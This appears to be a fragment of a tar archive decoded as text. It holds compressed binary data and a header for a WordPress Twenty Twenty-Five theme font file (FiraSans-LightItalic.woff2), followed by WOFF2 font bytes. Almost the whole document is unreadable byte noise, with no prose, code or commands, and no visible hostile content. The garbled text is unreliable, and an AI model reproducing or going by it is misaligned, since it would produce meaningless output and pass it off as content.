*S2)/˩RЕєiiI"\K0eV)Pf["hK1BU)vCmr*VLh%I$%Ѡc_j/jy[vAXS>+7vYQn˅qڮcaۅ\=qxCHkFydEN 5F{d\N`AWc?^ e~`(g" %wόt9M7n8G]3s8ݪ5 7kJPU@L%3v3w#J&ב0坓zv9B F(;tmm"fz@"znI $Z2`~0wG1-&ay:SRL'֫b'%+͹u{VV0h ܣ.Z'q]r֟&k gFLՊ3Q e^7R&!: 0R?y" KQ7䬊z˦vXz/.±,paxGLACY@%+ZFAZf@p(+@a$v 7$3vxGsv±=W7ʩqL;@>]P7K֕U[3ڔ^ɘ J?޷(ҹ܍lhr~gݽ2X07|twT8nv?'b۪aC*$=5 \#,؅" ۀ<}ezTU~:t|IG0dD+% <+W c0%dt_T8 <Դ!ζݟ ſy y}?KkBڛdTg(=]EMK1͏c:mܸeoLoV46rəMDfK]q}R-N((S~ˣ#+3Q\ע9NXzhwSH`#vJ lrnuR(l}EIa)22Aȫ+^' +.d ,jRBD^L-/&$O8CU+XeLjzu`:Ew;fѹl:T? `oӱ5SP50\ta1b#McˎH>1+xLԉH\$bm](9͔ themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2000064400000473224152335264760022725 0ustar00wOF2v^v+Mh^l`*h  1ݜ#9ndQCY+FHdahN;PF;hM{@ B,jP%_tUXj 3l 3̙T/F!EAEgX[#llF')v;AOv)_^0Y3_lF~X+Pj !;C6etp:Ex55TA4BL7-z'0ゥ"},XSNG7ҕIC>úkZ;"FHk E#ӡIR3`r2g E{͞"ͺ t)c (< +I]_ 8M˴,cPk 3ܥ۠M(}={zG|ob <Zm*kTvK5G" ݼ]Sho]&3YBsۋ qMhtHl=lBk>3eC[E>L-L={>>=kP ~R<3mNܦ3KٲB)XE 6189ue)RL9Ѓwp9 |<豧,póA_o wM}f@hųof E*63Un6-Q݋4@´P(X(|WBMapw'aeSzk,t?w~/Uؽ,kѯOuVةoeAڏG…w}.􁛖_.Gy eQ~i,r C8/}&9UX>Dž̂]n\}n_3BW=:dC<\RAB?}#Rե?yP6V%.6>.≃PZ9+]|ՆqFZ46}r9 *U u<>$Ōri&ԅJ͍>7 v0; qwz!>H_C(/lf~xNIAMP<␽^p,*A K ;ÀA#==2="ev<]' * b"'j*jsɞ̩36S3ØЌ&u v3ͅ$P V;iH(?q9s}(BJ Dxb N2c/i'&mYEw}˪&i<.UjRF4 %@ `wt{!;Xi\tvlWƵKq9wf9ROma['Ta `K^~oMjo:wY5 ^PQWQʵ(*jTTEEB+ T)EZYmwHUXX2»aw{!L$MP8 6 oc?ڹKۅdNȄt!"%45DoW.q*)qJ2rKoF'O'IܿGWȨ $~|!VgI" FM{]J⨨}ʞ ބA}B+BP( (/$1rנa0~VE8 + R1&.Q6¢3[@WlS#эФ14S.)@h@L9w,Gc b||$ Վs""E'bҙb-S[ުX@IU59^G^m$MU%ZgRD*1P _%˲')/19I&d؜ŖvIJkR\\񤈔z}u"RDH)"E_D"""H)""RDDDD ""RDHiܕ%$Kk:Ho4]2aI~([6,<"P!Hդp>WaN6z>(x@? ( T{ !(dQ8\T O)?}4!Y jkzjiI'G7^ |K5{i,aFRjz"Dfn`YibV6]Y~ bz3!lQ!ɽ/C]1 -UAsa__2r^.?q!? S$ d H[; /la6 &j;Yy5;b*mAL լUHWp߲}yB T3Nz}Dc2%Yl6즼 QbrѬe! %m} h,JB:9}s! g?nbƗm p&ٽ Jѩp*Q H}uo.-]{mjvؒ#VIIPTehDe9L ^Lw:l:gOse\{Wȯ&7ĨCi^@D?]_x= 1XIɘ{IN[e&F~b֤V4WƼVGex}Y3:Jn"*5( H: }42$Hd]pc*3{(*آ_a΅S%R( X^W@j0kv|M/X!h6I9ElPuO YOKy{Mt່zUmYdAt$50?=AlGa*^^ֶ ]^lK`IUr:?v۳~Βڙe vh;nHYW@A 7/v3$G,ww-0fB$JfC ۚBO0f ʢm%-kEC??LOЭ$yg^? -]?Q! P w:'WLm`@@7> P}dBU Iyv r]^lBFe_y嗐%'=J(') VQ:x>[-b&bb[L˸"2e;Iʓ}zJd[#GLd8ݯOWֻ ܥL y(EpX;EжJkh|z싛3b# - _ ^It I3ojV<Pl]vCp3ݵMX3TrjBESb)KHCHZ {?ί5 M@ƃ ؝ ^?Uuk)=Ҫ!6! mVm*̪7ڻ{{6DP$u P'S(e ReJ5uTIcjUnWg7fKUOYAw%ܭczviE*?li$A*J%#C5o0k?&rpݻ7ܦĊd'fj9cL\v6$G=k;l ( YSUS3A$PuA~A`$$8Sl1L7:pG{{KZ\U&@b蜺ܺbps\ڝ]T}ޚM]B̶IIOwQZx\S)B[ńy0`EHpTowZbjCaLR* IoەY-rNA4Pߛ/S4a {﹈ӈ)t/j5c2V(_JXw]g!9u`îTɲĚ"cqDBuV%C1I& q{A%$ 4ip|۞@g +tY쨉=!fV>3^z;w}{k65-W"XDecqpeZY}`B":))U4?[u皠J>5ȾY[|i?﹞udDgހA'7G(jl-D[?r:oSƧљ!nbTRO8e=Gq"{%?iM.ʝ\ Df-,hngFr=22fCr¸?Ӯ^K6Inoڹ~ݷ}QA_#l284K'D 8vI)5ah$r YC*Nk-mV=K۞:k'm\v*%[9T1pf#նݗU(Ͽaŗ9 /W&)pAvݪí"PO 䓁4-14ʹ̦m. ggEn$w%{cSg5bAnb) od[c1bh""FJ)(e? ׂȔ ِ)ryD/'*˥! !ԜoR(A#&#0ޣֆ3=W!H ""F)DO' ]J8'NaE]h_#"xT8"b:lQoE8缈fѢXEDD$YU~bc1&|lCNLeH/"uZ:v12@EtlAR*Z;lJ@f2xH quW6..P2Wfuwn "J jz{WoVK/!h0dbM$& "ԇ°=CW7Cf֊uk\sC`uQԢ;ׄ>_gJ{D 8\d.D 'r/rSyjĐE. 0(tZ4Rț.z͇IFeF}p:s&,Lζr n@dtI$[#YI#9/G\rA5W}-^&Jz ;#gfaBdj.J> t _B&逧gŞp `p]VɶnȤ UH޼L ;Fp;[OW:S=-w/ dnT썿j. >ninm;iTf[ *f6JöTyGat&w7{()V/Um~cWSi^ÄRf,m|][fv"RrJY; 7z^-j[8$ !?֎K"M2ŀZhfP~_U]Lc _. ) dt@RУ}ץ|ٙo37J,ġ z@M [W%fVD*;۞oόd7WN׊嶛ICdm!beZ-rxL9oW5@ 7x<^wG ncXvzê6lö0Q03P'P;>m wNsL#0;Ϟw 弣H7B#F 8v{_+nU 5k5 < oKY-{tߘ|`MX6aGm!p| a!vp%\+fG)x^w#_BѹIflJnyXxհ҆[o%yG],q%X2)nFYd׻>[p[ʲUukZ^o- 0x_y/]EbsL֡FѦMeK9ϳuA'{)i23%oV~||)iCBTv mJv1(HUa$tn$J{4RP33< _,.C@O!U7w6pdU ֊:z5j'kYYĥY-%(?0|\^:,%dJBE:a,siίN }C>Ll Y~?!ʒ" ]W628Ԥ臘ИǁSYpf&pO=Nʜ;dMQO6KAecx>Y??P/@}`PچaEX}օaKv` 0 N:[J07&yß'Xb%V^\fzSR{pqu7%I+4h-~G ҏ8% ]3-\<y\`|2*e qTQkԤYVmu-O_3+j>uNIԊΞP \%u|4)͊ ["9a0.V?}\ P2)U`)I%\]~]mcAhXhFY/޾ێC/UȄ@#\(wbjD{LyIIPN$atP-[M ]T8T){G4 @01)RrIN-")MX 1#In(suUUzo=zQF wQKP7v1W4!^kVI5UeBF͠aH\{[1tnQñsIDM܄m0-&bfn4 [MJfjEM9JL4M˴-XȏaHf KLjGrΑud! `2+"#+ٷ j̀1B Rĉ ;*N܈g/jPd~.u#}0C!`0U+t mE>hV*/?Y]_jW-vQ -jP큢ԁC;N4?u uu yu溅`z@U^=QBx:P $i&"zDFA8_e%N e:4*bEOq(ӑz\#'qvnHU~AR?YV"U:`0"f*4.q|يd-LQq2~_cIÖZ Y?ȯ[s.fHPqkf~`?I#7[?8B}{ 3"S!׊Aa3-gShR?,>+{)jUi;$fCaF3 xE/9b즉{)?X?F]X6´]&حtTʎ/ˎ=9$%60&7gD(͞+fܡOEe/-$UWx?veY__7 Gt%9͛(:h;,mfB?`̛`ђ{W@$Qit.ד͈EWY1 (Aޘ~ :,u:|.<9T4n<9K.#IDR.\n26nn`fP 0 mŒ]ka*l2n`j$4 DĨq=3q9 d9(0d9iX|Ϭk󙺩xDA+abfS6-7U@~/> 4 DҘNYJ)"=+]+mJDo S?Bf%*o]Dk[#/LUfU[Z9{ґ E!We?)50x- >4@Yo 1ڞ1wwKBr3)7raniL淳TO6byN~$zvy& /`k=)ve=}G`jjyL %ݫ77O+s@ ; ׷aR, @Mإ?فܟb<)6#]Ѥ.Ҝ oڵW5Kt }1at87oUL %0CRlã.Kusu/ qDсWWfVl9fuu[Z2ρ˲UsZ$ Yqf꧙!'M;g4C.0I\j=QÚ}X\6s޸,WH-jpU@Hƶ MTrQ ;Fse)^QtƊ[rl$D2\Z%픶 ,߭݁FfFsK ZEPL:;'W.D~ "jGZys[ɥ[[5QcX|ϻƟ+o5;ķ0[HMFzy8GdupnW2eRs|D{WشN!#Q͂LQ.Ek)}Sn.(톬=A+t #*&~SawTڜҮ 2nj7sk‡UrB N.e WOmT2) BQJW7\SƏǷE!n;Fj PmY:F@…U?W))={q&Ĝ|~OP^ 3C"g K[A¥<M6})cg#F[Pa1q6 r*i ?PO>)q*]{/[zXNzuyLW-Q@\*B,3G$xw4Rh"r}סB\ {9gJ7Y_F nܨCeԡw#I]Lkj*h(Ȕ<ظO͆I| ۔QJ[RF鯉Cr~*6)alK)VRI_|M$TCM$& A߆p;fO8: \KʨȨk*cICF=\ "9r׈ӟ hF`HZHH:&d# E6k,W^3ͥ!&_eL_.쏇 ; ZP47QTnk-O BU*TtKcr$O"0VE_Z[GTa˃lO/`[3]ɥd)jiCg/U*ѭՃի>~ Ԡ#߸'K릝9*xZ/6iۤ9tǺtᰮ|`QcHH (TZ`pAW Et4#bd,-vA8 AuˌTHoFdVN\rt< 3_B/XBH [x"gHnq+}[T&+hYBsAaOvl Tٸ4AͲ\ylab[s)uN/`K8,rǻa0Cͣ>Q< KabtRE͊EmEcn>2xVVeC^’ %{ UV|u!•/S`L57J]~MLR70Y׳(ѲB\zZb;)ۖR =&a괡475K(hC?$)٥--V:w@:fUB}6ìjZ}(:l kBՊZmf]FTic 1j(8vA?ss.@R2i{PcisUD+pk f/<8  dt Ne(*tfpcيp:(BH"K,/G֋ _&EZeLx͂`Eq8ɕɋ|cA/\+ by.TTzUI M&j]v}HoaOCF$CGe+iMVUuVȮénεxKzgէ_σ`h_l5d(JX06K{1Ŋ'(JVNME!ѱ|xYP6).R:g$=ˌ+&fW1!/]K^O"ں.4x\,`DbŜ%V~,6GE J'F^?3HP% 8,G7coA*<Tx}(N/aw'Fy~X>V ꆟz1lW/0nܮ XWL;fZ͓h-38~X7۠fv]ڇ'aP'N9]h];Wf7w#&y60>]=Ɯ{mSnxf-r(GJY YjSlz r {n-1߫I}ic-yo&ljI$9~:pC}|SAɷRw1 `K D+ 29g dL@ sLB(}3krWTx#kN r=ca!hx]U H ic`SfX[I} HN9FmkT+e;1^j9p妉ysؔFJWD` _1mLD(pNȃ$YVIp@H**r^(@[{~YMښۣP!wz fQUKfHNSBCs`;{%[3 ֌۴6F9aF(*=dѦ+V"8*nL ϝXr%G @ "3 c?tN^?ҷ<W:X)Y~ uJzc00D _{@|in `B tp0#P1bWsQ5 ;CO%ȪgRUq2D>l}P!R7ݜ<=CI*`xv:PmVQIBPi d3\DL)$` PD1X@$)T:bs<@(K׍~h<^ |H%AO@әI<%dȸx< 9 ݑz={3bK[WPn%m  '[~ўy^ `svlxbR:CH{k0ۀ5n%J%%ƧZE%K GVm .U|Q|> l n" l?x߀*xz2& {CQ͋!v/#?#IaΪF4V;wqJ[ZPO 0 W& 8b ʄᯢBQ)*1uj 1Ockf u `G% [(%,͐³ª7. ǍG>V WS+IfcS9eD#r%#Vx J!SNt\<(?H#u %xI&t2&| I1SI5H3IgaFgifgeVYgm9Sν5R,]/8¸= uvήh62`[U̘5Qq<,%TRN&-tzK~Yn ͐)d#=weq#d˝>6~6GqWɑEE# #(>X8uSWE=i=ËuBe R-};AC0d{Ǚm؄!sa>aIzSl*eJPQ@f=gkF €#+I//c>ۊA8o㋕yNn?>r|-fMb~yj8ϫ5>}hm\@I+bXD}dL˄O7JsKwi+1{&]3TWnInIIzK(ph''2&-˩ `ttkA~3n՗̨Eg <ɕ55%II `o9mjChbLixBd<5G3FI #QlٳDdVhNڰMH0/w\ * *ɧEɸWX ̦5xsVw`.OtP>C -<,K TkAQURse0lAAe*!{$?I P1}}WcHγ^jXNxʠ^_nάl$DC+@N<D1[W潗;jw8^8Li|\>Oǣ!%WNJ|YMR{+`3kb甡f,}]&?fj(&Km7zҡfF Vv~gxws|?R;xvsq_"t oF'fwQLvkt1@@,8E<>m^ig'@f4AS,&iI]5{\\NF]nBL1!29q6 yk7E :8;yE~7C ދ 39b!>DA׀ը 2v/w >F4^Rm_YU wk)'zȗ#$\Â掞¥=^]=uG sU>G\i׼tV!d p0VAL!?;7Y~8$/DN+)v]HXek9s>dmٕކ["^:tDEO5LM)xY&H Ǽg!@*b7y{܍lEIP@ Tf#ӀC\NmJh:.A\Aj˝aސ[S-tT \F!%EN#laf QtHFm8ɘj|w NMYxF:'KN:fopH*nOۤRv$ưZhg Ӯ ]GSP+[:v c\3g}X;]AKP[̉h*]j8MldlA+C_iZ)-#$LFEٮGfiJI= Ŋ(%sޗgɞ_^/KI}H;#Uv\'8UO 4 " m- e/p]t5,x&]Nx@t +S9_+->dC_9ʏzAi5{%/1G h+ S"]R&>2q`򪒤Y 'n u:JhʪXEgܠY[5TS-Э',ţWeN+}P%(D5x O=siWJS_@!! 6S 59l=16qoɶ`\:c | 2AEv *"Ǧ"zWD6.3)^ IY-AJJ\mV94T巬:54`MknTӓ^zӂId Z,3St6a0gtgL;s&20Tz@zBif45@J3'5XܢiN<ڜBRdŬXb)=.orE9kYo=f'8uaiW7Xsr]><硗&_vݦWs&yo'p/cY\"U. >c It {9P,on{ه%8M]p5&_fL'Vo3\.EXs6aO݄<+$Jq0Kd^hJ6Wmij::hZ9r&yNXh{llUEee'umݛ=|H=Z*ñCs5EՑ85}ڑ C%+>h8zL8J;cӢX\d#4q<'qJBEeFPDqwhTKe X G#-~G#fFg>6HSt'i4U&XM_>Zbecu[i t̪&X[lM;V;$)f=+ #&r)O{H#g* MS θC(לNm\Tjz:m^EԳo}D3Dsֳ֭Oiz߷׃I!NJnowO>}R{PjvǎV|FTcaI9C//"yu^HMX_xyg[44gMAN^gX# J8\6Pi "; +m`/;Xۈ%}Aq* ?;6' y>n݊a|vÎAQﱗyyp(VE'-_ 7dhaVNE}mf'\@*Rj5 $+e;a'iv-O&{S|Ї>n@T]]I*)+U%DCH(PmSkĸqxB>%?v*ˣRgX3+B*P$H@9zmL ܃~Rjn $mOz*_ڷN;cvϡEadTZTP@"(Sx;h!,bxp)&Zh&5rhgb*҉*(DJP;H>ameiiZ`*EFiBM8$S'ZΡQ:!.5ar1<NG1"Fό)FdLGYX̀ L,PMUmp,!OJcG'QAFf3d6@,y+_;ybWJȁXC#_A^! a^НDD:@0\>:+N?FHe1H#;Xw+O=*)RJA?%͉\fPcn UlccN0BqNۄ0c!o, !81l#`Cߒ7<Qf}a7H7 YEll BҵI&Jewf 5)$@3?}'k&K@O0x8jD_LcbcMK,U444̆22BOa4cgN~))a|̈1 cP@Mcl][;(]>fJ]$5laV6lci2!ưF^6U<† SP"26ĢƇJy=Uo YJ^ün٨`<4ɘU%{+McIV ǥcX=BY)Ob MJwSk3BP7:_qTBҜ;!l.&" ӱp DW#ߩ|5F>r$쮒*WH@.8 j.v zi]gVp^ Y#~cOͼC^+F:`)E2B+O21u/U0LUt(w~g)qj$ܤD.(0q#s; 4}IN=ZP7@'&5=55$G%sK(z"(7sp fDn '@Zꑥ㑌ڢV*" ߫PVn^9~ >zJͲ娽f l|k3V4͆ 13&`ƾ鳑*ժ?JQE6 w*'Ǥwf0J%K}Vo>MLY܀SD.S(bYjC9/CP`HD_~!n9q^ovRs$X{h!>È4kkl"> l5( Lv˥.xžqƒ6M{I;#4tzn\aY`-fqht9xcC=ƭ`JL@,wr([Ho 5S!O)FsiF^jjFo#* 7vxeL&|+!G3nE? ޅEJ:T͟[fJ˼ncRH0ޠ P]]߲㤹xwN@F cJ1@E7/=ܤ/MnA^"e&ǝwèّL5?zE9 `hLaWg4gA'Y-}zfO+OnƔ'tDmt#ENWc'0z#8nMRu4/?؝QBR)7 0i'r,P_Bvpwצ{KtۆM{S@Ah}*Pl(j_f$Gr60ϰFT' p" k؝m*!uxXu4ց(1TS'u7 ot A({,B| h.mpW=xh#X?<|naQ<|i ̇ (=reɫD<*tץw#.+/ᣅ%c i' A$"y0RP BB4ѱ CBl%(iIz"γ[EutFIDsҷжEiPLS]P+6iSet[($`L ^ 0{!q@5 1Qբgh2fb-d$QQO WOj4-~MS- X˿?1ؚq#H$9]~V/JE'gzeȚd֧bQ N p"pD̹r쉆'ڥq;< p'ws/{;l86b:φ8/bE^@춋8`q^ǸD5F:)akaI[ULa+YgB. Q׷FKZςAVKZeˉ>qrQR*$"b$WbVRJItr7Iu\_ĪX!̍?6޷1vO K8-xeJr6 r ˦r#m? ?xUrUGMTPR޲;A.O>{:A߰UzCl3_9Hһ+h$WoH,+h)C NY>B\a*FJZP2cTZIS:<6aĄͭܒ=g,].koƺdՠwH)B = dzv(  Йb^.Cb؊$Rqݚ(`]v7xO}}?fwkw&`L]݋?$ښ5w"k^rG#~5/N_7<~eI^ۡbqdn:y'hHNM7ɲU,/- Ms|+5?rkr]@͸q4pej},L}OFs_ V"c[J_3 b[xӰ8ɧJ v8&'FT)tI H2B)nCt  4gzYy'Y` \cL._P;>,sZHsE]JQ J 5GlGS)4AW[yDI 3rJ7s& h&hB-A P%) ' E&vAUȜ#9ۜd-&xS-qQ3'`K7ʪ)Pm3ez{4mo,1Ed[o^F еH#efDb+4C>s yY7>Jebqv8*k5cM&8WIMRsv&p B'AqYe6XzqXgxg$N'2ըf4{]<jgGt!R>=k IUA1YChy6!+m!AH Xa)J!`,O٤W<OP3 H[UIB54zFI}ϵKrj2uk:lG$i%C#x;]?oDw`l|3R6kꆫ1L"皦U~Z%I^+e ^KXr[6 !Xpн[x%暲H Sh EW7>Kᨄ#e H8S}`h>֓p$v}=|rgqz0@Y'߹pa%DWFpՠN*ۙl,ymw2mRD.og3踇{nuwqm* i`x˅[K YU^Jj32{Ű>60g|4ṟuTȆ7ДF{ѷ3E23ffuL/ /Ab"\44F1g /ߎSCڳq++ u^c-iWkӐk((޿]^P-QZ|~d0b.Qiו8HX3 pڛb"}&z74#AlLkim};j/PGʸJ[VJ‡]H7͟=K! u*$&}&y]D-ahEDٰ3=!W~ڪx[̛G{n pMLܬp 7 ͂[V)nsmڿnm0V"Wn7v؎]+7}3h0dP,Q@0Al<S΢$7L-Q0u0i&?ͫHjSg-]VZSƳںnms}BP>'oؗ,뛖`9Ԝ}rՊUYq $؅Vd 2ͯ.`,H r)wJA%kZiw-ȕUqT(q?r7Z76hH@,y uxHEå_Fx, (5WB1"Euތ&:r/K,8H]/wO  @d!3%߶$tZ=N<$o ŵlI EP,MhMg6,[wAS&)ШWs,BN: nAS򌎈; $$$Q@95%#@ Ry^#{$//DzM ^2IO8Ѝe t&N;jS7JMX=lfъ:m$ ^Cr.r]C/PO"]]Rޗ0y!}SzK8h\n8I>RO"/r)^kǥ|-р|?#dĆB)8ø2?ߛ9^KN췾6׳X&BP0qh&Y(ё qQ4W)ph%RBHJXh`440eI=,VެlYU=SLBg=y0ayPӲOFIt|.=\ge-K CP6 :UдQܕM*_jhDQ^_ncei+mu$@|ը1xU`.̽Vw_iUˁ@̘y`x{t$gA€Dl$:p +iC̶nBZkW=H\bn=6cL&pSA"߈`.z,zR4kNxɌ $bY, R =E$p#Ͳ GnFwuHoYuA=>_"66<9H!.3ÎmpHV53#JmϵI&w4bc$pJXsf<38!$/@pʷA]\]6:1p3a[o~({v1^ɞ'Rb++A{OF=(㾇rCzKW%i֩xʌ'u,3zc/=ī<㿅s`ns*ST#G=uЀS[AQO]y#aǥr\CQr k3G)āI1q" L )\@Gf|x5>R Am5<,)p7 ,b~M>SSQhx5<E%ƺ5211x1*i#-&`4-`"Ar$qaGܸ!ħkWIL4d # "Iedr&O)=sO8IF1L3+4\/86J13-ڴb c\KJ Y*}s.L+GJ= P . =i 0U(fE"0֥A1!6P0 (BOX ;,T[:Uc`e=GH̤}5f0gdq6~IX"`ׄtDxΤq@o Ϥ. ?0.g0B~DmFQ_K$N פ8HʙGOgK{ ,ԕ  \(AC,3!T^U\Wry+eZiyVCw\KN"s}8/8ɑ8ee= dt(*N/x+Xบ&pit[/1qxyO圧WIu`P=^'h>ptP|wID;;3^ѺqT[*6o7zJ]a#9OO:"U@&'Q*&QTD7>TJbt @@ Nj-P젙Ԑ>= 8z4"XĮLd̥C#Y8{Js(;I=&3.ٱ̘(FXB[F{ v̋8 ח 3@,/ή 5l܊svvM=̔<.Z[ MTqlikdgre浍 WzG$r'&)5ssu>3X=L^#73 ZI\@C5ܞG9 !b|G9,EtIb\|ϙ`/Y3#7/ޡKanHLzc-u-IE1%1_Bj\urPw<a2 t{WrVn } 8{e,p$!YFL8אiY1MrF,TZڹFWj`rʲ>M=O<F ^v<kdR՘@hUVZZΝJ_"Gr ii-.]3ɐ4Ă]Gk5ĂeIx .ǎ>Miwwzr5 L0<|a Ed[hM c=ňUȲĝCh5u$7i@ ȉ ݀c ept&uB plplrlM͐f2r)Q;wYz?-{)Y<"dE:AbX H2*6%`*54m* %3#߄&4 K3R@S4IL\),Cvoؚpxr h7n]n@- ))h8@մX"pZ @gÆ "%0mcUHe Od 18!NfQƬB L‰r!D*iQ:r31 `Q"q:KTe c'"GD` E@@X!Z(Pm ,c AHKd#,B@Vq8K P?N BȂQ-83(bQOݸ<^Ǽ0[fj}jdd㫥lƒ@ByameC/mpLBd-ɡ"GSؕH0$@0 (0g0TۦGd1ae Cyme6HLOAm N cLG!$\) Ѡ >۪KXDkrEe#AA^4 GMTDڠ*`;mUH( Txt="Ѱ B;' ިzID=ˆF$ H@FL An]w1%t)%bυs>:]>w_NCcdgK g>XM$okO:}w˪`B͝9W@ kL ٓn B2&Pd~VXͺILh֢rf#b%v/9m)xAT/4D~\V&ʬ BA\ ؆gܭN](a˜BKa܍sy(yb"&9q$J #Ir\ER_ҮY`dL,~W b^H0OuϸLbvA$ P :QY4̮Z7z-Qѱ*g):ruB}ZAvJ`D ku Ȩp!V;mOVBȡ9ۢ@FkNT=Mu7Ny&1Rg ^plFh&tٰFx2؞\c$/@()2e+Y:5kovRց#|77|hBhK_.z|ֳ:yCcqLH6!QIIHf)e' 9>]L^K))RLRC,jNg'FPhV Rn6=DfFgz0<X\D@pz:!)$ p߬cF .v4pi 7'7bF VC1Eش߱te(+R'@ :M"QW;`ou}6m`g( a(B`A1B*=741=(8ŃD{=f7uCAupzB:GB%Ol2pʻ#9`I0)Yj Wfa”KZA`ђ0ҺbM ɔ¬ %0fx:PM7N u۝=*+\_% dD? 9HHȓ9]zE_Ȉ'% EVc"rUY&я]_*H&8$N7 ѫrUWV(`pp-([ 6$  ^@ z+e rk-w+ G(cA [Siɿ f ^Ne<4I7tLDl䞑 |H'G\;qV=KtMHk҉5#h 0j S M5t4/i#'d` Mc\n̈́1w׳UΪ&[4ݔ M/m~+×|;ت}Iy Y=A|}#F WGet \˸ˎy&~{t!ݣ7Ij)ͫ-0#LhQi֔.8Jjhs5iolM[c|r V/3bKVhAU"104TL i?焗fQQAuKG1埀I[GB^-؆8I*:0ϦB:9ۘhφ?ona??u@:DR4joPDNnh~T@쯧 jLs# N&%nuӾ>42=[ԑ1,_* *fG9dh8 gVjʸ+񧀬 *BW5` :^ lzDi(#Y#oMy[EܖZihu[ki]ׅ!D[pxT@t*^u XHF⠭R2YsAF&5tJGP?'}z 6a.juԃ`cmA-I c`2~AT"yt`H81; "ܛYP!t) "FӶ']`g̻%@[4te bt$%K!`WMFj  E}xfF q#U@`Ϭ3aaR` qA)h@ܻc#ڢ|zkhVFiMqQΖ,c]¶W%(ֲ`#RЁHvyJĊH<m4ƚ5Et)qz a :F:BtqƸ= 2X$ĢB[lfMCH!YVŵ)gQ#\OCP:%̺̪JPwk%zg]F),Vĸ~";m߻ =q +f[#rQ"I'vWLcy1:F9ލϤBI%)tiCDDe 6 :Qg:)\f߹h# fr9ܽ/::ϻ#N+Ă .PSve>,9.D"bTAlд͆ \`Nr!֒Wi&ѩM$l1W>s\f3}ϠLm,r(W޹sγR%0ٌ~U^-xpk5EIts(I4{X!=7=[ |f&E3yb=Gfϫwl (8"Uؼ4΃)A\,I=,m"h ,=[5Ĺ L89D J*kB5ak3Khіop;&Y'7#[,Km>~Ys{ina,z`o&mKSolQ`yvq{~Xܖ/HX&L94)JvL0oލ j@t(P'p!\(i<ffBA (2B 'mcq?JΒ;ԴoO&%J() (]S1jXbuHq F 9@;Xwae> 87,&Ljɭbث/dOfgyAp \`3+y?= *A);{=xZ+M17SHUx_F? 7;~bgL +tqs: BfrmoxR #zY͟<Mri DcST]&HaX4t& J.h; L3St LW^I&'gcNDiF~LoLYDvOɖ;|/O$#t5  tITlt0(KCh Ě!H=(Rf>z7uK=g_ތ` wn fd=Z3OcB)hn.[v߷`؊ O$I%'y/]JmN.tvI,iwM՛N=}gt*=E5uNm=mY4@KKpLFF]* x JmS٘iyg?~"ĝ^UPK*gQ%;lL8Flyb ̼y 8?βJ2fҌWii6[V-d!2Pzz$ xA J%g Yť(% -%qS8KIࡐޅOY@::v~ /<.j#كcb`EdT9"%gy9semhLk1.Gc* nkd#1wڞ/@zN3p+`.Zv~BaUߎl%!—ݛ6uV7K/߾ 6lg/0 BB'\&Cq!a> v# &߸^,$= S_e<<(޾E@R<00%$b2;}{0AȄ6@@G`}OQ p\@.0#{Ҳ[ f@M5HLK= I -A`EIs(I0OXsyO"U+ Fak.yzh]m*2²:n/7i+:蝍e"gsy|7waQ%4\J5"Ep1 >D3ɖKo8nȅ5-BJ/! ȋ@2[R,W[ɣic nZ EH߭AxN|Dv̇$p}G>vtv^RT,є8"HY0X)1pDFRuT 77KG[YJӤ@=gb2LU] `\4 mLKtd46D(i x#Qj5\\?UW}uq$ VEk'FИs*v3C3V^DZ\Fsg& TP#'l_Xi#u<)+8Vc+ɟ]CuʥץWqnfSlb6$z$$WmV "Vmui @ES,l]icX,d H(:(p OJfg`Q=e]*c$ 'V:+wb M7v2'Ÿ~ϧɷw { O} 5F`?V `Ɔ7$Cn..Ee Z| B/oYUƺ]>BgZֳ{c;a#` {ݬHHP{E nх(1"7Ee| &zbF-`Jl8c FA@b2b3.#m|+Xf).q&aJBeZ76@LN\Z_A}{)Vuv2VW 6x3<X^FX2 a;C<1h<K%r\[A*~NP?8Ȃ@ InF+giC7> q҈|Wo>4NNۯ8)YMm:{NܫM[BriO;L}_ۈ=H2w՝Hn7O9hBC./)D?_jV 1Ǐ@cq$dB(d&C4|7ԩzfw]Uk;{C<ڧ'q/M}>?H_ ɾG~w_ 7id-`!sj"ȯxo?俕?i&8=(p»16cq~_rX$׽dGLE$eoL_`2XV% #@DrL벘f 8 XaW"thZSPgASf d 8ۣ'kFS0|M OҕFyh@0ߊ;X DE:o"02[Cƒ1~TO#wk k0@NS&' lf_SFĵʮkmIwҍh|?|eJHߌK p#4T0G0fd<8RTdX*% M7({hP' f\]4b {'Z):6oƽC*y d2I.CiUzG&B`&fpL|~3z\۞㲆XpDLD6xI༭% +#R8&5CԁME!wEPYxfO6dya{]-C q,:ߎ!~d5W3~Ó!qk S>2 ǥth<.LK%Ň}0-3V ALadCHո.jnAדaG.S'oH'E&ƧǃFV[G peGP aCáݳHx3Zotm-~eS4B|`1211M@H J$ Z(؎GAD AsA/@V%Ls8Kd6Lg ڙE"[\[rPUxN+SK{㽫HW-߃S\6uf-`)$iè^.'lQ_Eވ(?BmjO͌[c]հ[1*Z+:)J1/LBP*ԱH'p52k4dHIQD # @  :e  9mhљ3ԬYE@̞İwRdmXBD[kCXh`1} (,z:O|8z8C",ShFQxE6ob33+;𲅅X >+`SIPVaƢ 눻r<؜ȯ8h)&j6 { ڨOfz`>$[[?b!xpoDozgf6B2mAgݓWv}6K/i:,Qp;A^Q 3KƓb[bPd7@@RhKr*tK@$,Vt%m9&ʡ iiWa7 ,R8!XvOM2ĘeLe,ZFp>bVܚpPy^w 9gX(EĜG rlβ",SoCkVЀWMVd>{Aa}e@5Uy3 TWȏ<{rz|,.˄"nMFPC ?dn}uh}݄/j^e7=l$vf[uEY-w@B/k|ݤA=%Zi@K\y<]n]$4v(vܭZ{}@1;po{<!wb]ռZ= QbCs]`?"I?wb?#%<0 H Sv} @#5'ăҌ˱"p2MC0RQ@=L狣~>yE~20$ `L%8bX໡jB Ah$8Ī[ƷͰٜ]%*ʱ*ǍSF? OIA/"p2ͩ}pS2]"l/<9 Tq`Ea` 䶖_"ԕEa f4@fT_?~N3eA] |; hصHfQ“Jr*#uPm,> [R8+$Gi@_xB|jEax\J6?6ޠz&ל*}V/ݚ *EbU7D(|\oRQ]bNaQUsXf{rC˓[OFg>7#H(EN"c,l\Hq-Q2J-@ h >cRq(l̊)dw5RHů w f p1*+P ]jx|CG Uwo+Z}V񴟠wRL$~|WܵS] R]G҉iӊ@$W&!5J}Zt ^ZGcQW D-PS )\8Jf jltA&\i9 ÃXH'$q̔% 1Wc } Maɮq&h(4Q1MHNL>˅*דosXÿ2Of#I?Ƴb*ǃ(&3d,2 bqW0g,+$]~"+mo\TsQux􁨆\R2I1E]]VBtf k/ Wrt<="OBcmOL?=-bsD  ӡ0?4>UJa"*Ԧ'A;ө  